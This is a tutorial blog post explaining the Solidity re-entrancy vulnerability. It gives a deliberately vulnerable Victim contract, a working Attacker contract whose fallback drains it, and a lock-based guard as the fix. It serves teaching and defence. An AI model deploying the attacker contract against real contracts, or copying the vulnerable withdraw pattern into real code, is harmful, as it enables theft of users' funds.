Re-Entrancy
Tags: solidity, security, bestpractice
Published: 2022-05-13 20:10:41

---series: Security Vulnerabilities---

External calls in a smart contract play a vital role on Ethereum blockchain, and these can be used by hackers to force a contract to execute further code. Attacks of this kind were used in the DAO hack.

Let's understand this attack with the help of an example:

Consider a victim contract that stores eth received from multiple people and allow them to withdraw back:

```solidity
contract Victim{
    mapping(address => uint) public balances;

    receive() external payable{

    }

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint bal = balances[msg.sender];
        require(bal > 0, "Your acc balance zero!");

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent == true, "Send failed");

        balances[msg.sender] =0;
    }

    function getBalance() public view returns(uint) {
        return address(this).balance;
    }
}
```

Now let's understand how this can be attacked to steal all funds from the Victim contract:

- Make a Attacker contract
- make a fallback function that calls for withdraw from Victim
- send some ETH to Victim contract 
- Then withdraw it
- Now in the Victim contract, when following line will be executed from `withdraw()` function, it will trigger the `fallback` in the Attacker. This will lead to calling `withdraw` again before complete execution of previous `withdraw()`. This cycle will go on until the Victim contract is drained with funds 

` (bool sent,) = msg.sender.call{value: bal}("");`
- This happens because `balances[msg.sender] =0;` in `withdraw()` is never executed due to multiple `withdraw` calls. Hence Attacker contract address balance is never changed and the require condition always passes in cycle of `withdraw()` functions.

Phew, lot of words. Let's see the Attacker contract to understand better:

```solidity
interface IVictim {
    function deposit() external payable;
    function withdraw() external;
}

contract Attacker {
    IVictim public victimContract;
    constructor(address _victimContract) {
        victimContract = IVictim(_victimContract);
    }

    fallback() external payable {
        if (address(victimContract).balance > 0) {
        victimContract.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "< 1 ETH");
        victimContract.deposit{value: 1 ether}();
        victimContract.withdraw();
    }

    function getBalance() public view returns(uint) {
        return address(this).balance;
    }
}
```

If you understood the stuff above (if I delivered it well), then you might be able to come up with a solution to stop attackers. If not, no worries, following contract will help you understand it better.

```solidity
contract VictimGaurded{
    mapping(address => uint) public balances;
    bool internal lock;

    modifier ReentrancyGaurd() {
        require(!lock, "Bad luck Attacker!");
        lock = true;
        _;
        lock = false;
    }

    receive() external payable{

    }

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external ReentrancyGaurd {
        uint bal = balances[msg.sender];
        require(bal > 0, "Your acc balance zero!");

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent == true, "Send failed");

        balances[msg.sender] =0;
    }

    function getBalance() public view returns(uint) {
        return address(this).balance;
    }
}
```

The basic idea is to set a condition for 2nd function call to fail if previous call in not executed completely.

- in the first call, it checks the lock:
     - if false, it changes lock to true and allow further code execution
     - if true, this means there is a previous call which is not yet executed completely. Hence throws an error.


There is also a simpler way, if we just update the balance before sending eth in the `withdraw()` function, re-entracy will fail.